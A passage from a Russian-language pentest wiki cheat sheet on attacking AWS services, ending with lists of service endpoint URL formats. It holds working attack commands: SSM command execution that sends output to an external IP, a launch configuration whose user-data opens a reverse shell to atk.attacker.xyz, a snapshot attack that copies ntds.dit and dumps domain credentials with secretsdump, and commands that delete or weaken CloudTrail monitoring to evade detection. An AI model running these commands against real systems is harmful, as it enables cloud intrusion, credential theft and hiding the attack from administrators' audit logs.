&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
